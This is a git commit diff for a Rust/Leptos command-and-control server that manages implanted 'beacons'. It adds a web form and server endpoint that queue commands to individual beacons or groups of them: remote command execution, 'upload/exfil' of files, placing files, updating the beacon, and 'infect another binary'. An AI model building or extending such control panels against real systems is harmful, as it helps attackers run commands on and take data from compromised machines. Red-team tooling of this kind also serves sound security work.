feat: added basic command issuing

This commit is contained in:
Andrew Rioux
2025-02-23 01:46:18 -05:00
parent 9fee4009f2
commit e0af4ad291
13 changed files with 563 additions and 16 deletions

View File

@@ -112,7 +112,7 @@ pub fn App() -> impl IntoView {
<Route path=path!("commands") view=crate::beacons::commands::CommandsView/>
<Route path=path!("configs") view=crate::beacons::configs::ConfigsView/>
<Route path=path!("templates") view=crate::beacons::templates::TemplatesView/>
<Route path=path!("instances") view=crate::beacons::instances::InstancesView/>
<Route path=path!("beacon/:id") view=crate::beacons::instances::InstancesView/>
<Route path=path!("listeners") view=crate::beacons::listeners::ListenersView/>
<Route path=path!("") view=|| view! {
<p>"Select a menu item on the left to get started"</p>

View File

@@ -1,10 +1,413 @@
use leptos::prelude::*;
use leptos::{either::Either, prelude::*};
use serde::{Deserialize, Serialize};
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
use web_sys::FormData;
use send_wrapper::SendWrapper;
#[cfg(feature = "ssr")]
use {
leptos::server_fn::error::NoCustomError,
sqlx::{sqlite::SqliteRow, FromRow, Row},
tokio::io::AsyncWriteExt,
};
use crate::beacons::{BeaconResources, categories::Category};
#[derive(Clone, Serialize, Deserialize)]
pub enum CommandBody {
Update,
Exec { command: String },
Install { target_binary: String },
Upload { target_file: String },
Download { src_file: String, target_path: String },
Chdir { target_dir: String },
Ls
}
#[cfg(feature = "ssr")]
impl FromRow<'_, SqliteRow> for CommandBody {
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
match row.try_get("cmd_type")? {
"update" => Ok(Self::Update),
"exec" => Ok(Self::Exec {
command: row.try_get("exec_command")?
}),
"install" => Ok(Self::Install {
target_binary: row.try_get("install_target")?
}),
"upload" => Ok(Self::Upload {
target_file: row.try_get("upload_src")?
}),
"download" => Ok(Self::Download {
src_file: row.try_get("download_src")?,
target_path: row.try_get("download_path")?
}),
"chdir" => Ok(Self::Chdir {
target_dir: row.try_get("chdir_target")?
}),
"ls" => Ok(Self::Ls),
type_name => Err(sqlx::Error::TypeNotFound {
type_name: type_name.to_string()
})
}
}
}
#[cfg_attr(feature = "ssr", derive(FromRow))]
#[derive(Clone, Serialize, Deserialize)]
pub struct BeaconCommand {
pub command_id: i64,
#[cfg_attr(feature = "ssr", sqlx(flatten))]
pub body: CommandBody
}
#[server(
prefix = "/api/commands",
endpoint = "issue_command",
input = MultipartFormData
)]
pub async fn issue_command(
data: MultipartData,
) -> Result<(), ServerFnError> {
let Some(user) = crate::db::user::get_auth_session().await? else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"You are not signed in!".to_owned(),
));
};
let mut fields = std::collections::HashMap::<String, String>::new();
let mut download_src = None::<multer::Field>;
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
"No form data was provided".to_owned(),
))?;
while let Ok(Some(field)) = data.next_field().await {
let name = field.name().unwrap_or_default().to_string();
tracing::trace!("Found field {}", &name);
if name != "download_src" {
fields.insert(name.clone(), field.text().await.unwrap_or_default());
} else {
download_src = Some(field);
}
}
enum Target {
Beacon(String),
Category(i64)
}
let Some(target_beacons) = fields
.get("beacon_id")
.map(Clone::clone)
.map(Target::Beacon)
.or(fields
.get("category_id")
.map(|id| id.parse::<i64>().ok())
.flatten()
.map(Target::Category)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"A beacon command cannot be made without a target".to_owned(),
));
};
let db = crate::db::get_db()?;
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
Some("update") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("ls") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("chdir") => {
let chdir_target = fields
.get("chdir_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Directory target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
chdir_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("exec") => {
let exec_command = fields
.get("exec_command")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Command cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
exec_command
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("install") => {
let install_target = fields
.get("install_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Install target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
install_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("upload") => {
let upload_src = fields
.get("upload_src")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
upload_src
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("download") => {
let download_path = fields
.get("download_path")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
let mut download_src = download_src
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"File to upload cannot be empty".to_owned(),
))?;
let file_name = download_src.file_name().unwrap_or_default().to_string();
let file_id = uuid::Uuid::new_v4();
let mut target_file_path = expect_context::<std::path::PathBuf>();
target_file_path.push(file_id.to_string());
tracing::debug!("Writing {file_name} to {target_file_path:?}");
let mut target_file = tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.open(target_file_path)
.await?;
while let Ok(Some(chunk)) = download_src.chunk().await {
target_file.write(&chunk).await?;
}
sqlx::query!(
"INSERT INTO beacon_file (file_id, file_name) VALUES (?, ?)",
file_id,
file_name
)
.execute(&db)
.await?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
file_id,
download_path
)
.execute(&db)
.await?
.last_insert_rowid())
}
_ => Err(ServerFnError::<NoCustomError>::ServerError(
"Unknown command type".to_owned(),
))
}?;
let now = chrono::Utc::now();
match target_beacons {
Target::Beacon(bid) => {
sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
VALUES (?, ?, ?, ?)",
command_id,
now,
user.user_id,
bid
)
.execute(&db)
.await?;
}
Target::Category(cid) => {
sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
WHERE bc.category_id = ?",
command_id,
now,
user.user_id,
cid
)
.execute(&db)
.await?;
}
}
Ok(())
}
#[component]
pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl IntoView {
let command_action = Action::new(move |data: &SendWrapper<FormData>| {
let data = data.clone();
async move {
issue_command(data.take().into()).await
}
});
view! {
{(categories.is_empty() && beacon_id.is_none())
.then(|| view! {
<span class="error">"Missing categories! Cannot assign a command to a category if there are no categories"</span>
})}
{move || match command_action.value().get() {
None => Either::Right(()),
Some(v) => Either::Left(match v {
Ok(_) => Either::Right(view! {
<p>"Command successfully isued!"</p>
}),
Err(e) => Either::Left(view! {
<p>"Error occurred issuing command:"</p>
<p>{format!{"{e:?}"}}</p>
})
})
}}
<form on:submit:target=move |ev| {
ev.prevent_default();
let target = ev.target();
let form_data = FormData::new_with_form(&target).expect("could not get formdata from form");
command_action.dispatch(SendWrapper::new(form_data));
}>
<fieldset>
<legend>"Issue new command"</legend>
{if let Some(bid) = beacon_id.clone() {
Either::Left(view! {
<input name="beacon_id" type="hidden" value=bid />
})
} else {
Either::Right(view! {
<label>
"Select a category to command"
</label>
<select name="category_id">
{categories
.iter()
.map(|cat| view! {
<option value=cat.category_id.to_string()>
{cat.category_name.clone()}
</option>
})
.collect_view()}
</select>
})
}}
<label>"Type of command"</label>
<select name="cmd_type">
<option value="exec">"Execute command"</option>
<option value="upload">"Upload/exfil file"</option>
<option value="download">"Download/place file"</option>
<option value="update">"Update beacon"</option>
<option value="chdir">"Change directory"</option>
<option value="ls">"List files"</option>
<option value="install">"Install to a new binary"</option>
</select>
<label class="cmd-exec">"Command"</label>
<input class="cmd-exec" name="exec_command" />
<label class="cmd-upload">"File to upload/exfil"</label>
<input class="cmd-upload" name="upload_src" />
<label class="cmd-chdir">"Directory to change to"</label>
<input class="cmd-chdir" name="chdir_target" />
<label class="cmd-install">"Binary to infect"</label>
<input class="cmd-install" name="install_target" />
<label class="cmd-download">"Target location for file"</label>
<input class="cmd-download" name="download_path"/>
<label class="cmd-download">"File to download/place"</label>
<input class="cmd-download" name="download_src" type="file" />
<div></div>
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
</fieldset>
</form>
}
}
#[component]
pub fn CommandsView() -> impl IntoView {
view! {
<div>
let BeaconResources { categories, .. } = expect_context();
view! {
<div class="commands">
<h2>"Issue commands"</h2>
<div>
<p>
"This page is used to issue commands to all beacons in a category. If you are looking to issue a command to a single beacon, select one from the left."
</p>
<p>
"Available commands, and the required version of the beacon:"
</p>
<ul>
<li>"Exec: execute a command"</li>
<li>"Upload: upload a file from the server the beacon is on to the C2 server"</li>
<li>"Download: download a file from the C2 server to the computer the beacon is on"</li>
<li>"Update: Attempt to update the beacon on the remote system"</li>
<li>"Chdir: change the 'working directory' of the beacon. The working directory is actually stored on the C2 server, and the only action the beacon performs is to verify such a path exists"</li>
<li>"Ls: list files in the current 'working directory'"</li>
<li>"Install: infect another binary (only works for sparse beacons that already infect a binary; does not work for standalone beacons)"</li>
</ul>
</div>
<Suspense fallback=|| view! { "Loading..." }>
{move || Suspend::new(async move {
let categories = match categories.await {
Ok(cs) => cs,
Err(e) => return Either::Left(view! {
<p>{"There was an error loading categories:".to_string()}</p>
<p>{format!("error: {}", e)}</p>
})
};
Either::Right(view! {
<CommandForm categories beacon_id=None />
})
})}
</Suspense>
</div>
}
}

View File

@@ -100,8 +100,6 @@ pub fn BeaconSidebar() -> impl IntoView {
return;
};
leptos::logging::log!("Received message: {m:?}");
match m {
SidebarEvents::BeaconList(bs) => {
let mut bs = bs.to_vec();
@@ -128,7 +126,6 @@ pub fn BeaconSidebar() -> impl IntoView {
return;
};
if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) {
leptos::logging::log!("Found beacon to check in");
b.last_checkin = chrono::Utc::now();
}
}),

View File

@@ -28,8 +28,13 @@ pub enum Command {
/// Run the web and API server
Serve {
/// Address to bind to for the management interface
#[structopt(default_value = "127.0.0.1:3000")]
#[structopt(short = "m", long, default_value = "127.0.0.1:3000")]
management_address: SocketAddrV4,
/// Where to store files to transfer to target systems, and
/// files that are downloaded from remote systems
#[structopt(short = "f", long, default_value = "./filetransfers")]
file_store: PathBuf,
},
/// Extract the public key and print it to standard out

View File

@@ -65,9 +65,9 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
tracing::info!("Done running database migrations!");
match options.command.clone() {
Some(cli::Command::Serve { management_address }) => {
Some(cli::Command::Serve { management_address, file_store }) => {
tracing::info!("Performing requested action, acting as web server");
webserver::serve_web(management_address, pool).await
webserver::serve_web(management_address, file_store, pool).await
}
Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS),
Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await,
@@ -77,7 +77,7 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
tracing::info!("Performing default action of acting as web server");
let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000);
webserver::serve_web(default_management_ip, pool).await
webserver::serve_web(default_management_ip, "./filetransfers".into(), pool).await
}
}
}

View File

@@ -1,4 +1,4 @@
use std::{net::SocketAddrV4, process::ExitCode};
use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode};
use axum::{
extract::{ws, FromRef, Path, Query, State},
@@ -480,6 +480,7 @@ async fn handle_listener_events(
pub async fn serve_web(
management_address: SocketAddrV4,
file_store: PathBuf,
db: SqlitePool,
) -> anyhow::Result<ExitCode> {
let conf = get_configuration(None).unwrap();
@@ -488,6 +489,8 @@ pub async fn serve_web(
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
let beacon_listeners = sparse_handler::BeaconListenerMap::default();
tokio::fs::create_dir_all(&file_store).await?;
let compression_layer = tower_http::compression::CompressionLayer::new()
.gzip(true)
.deflate(true)
@@ -525,6 +528,7 @@ pub async fn serve_web(
provide_context(beacon_listeners.clone());
provide_context(db.clone());
provide_context(beacon_event_broadcast.clone());
provide_context(file_store.clone());
},
{
let leptos_options = leptos_options.clone();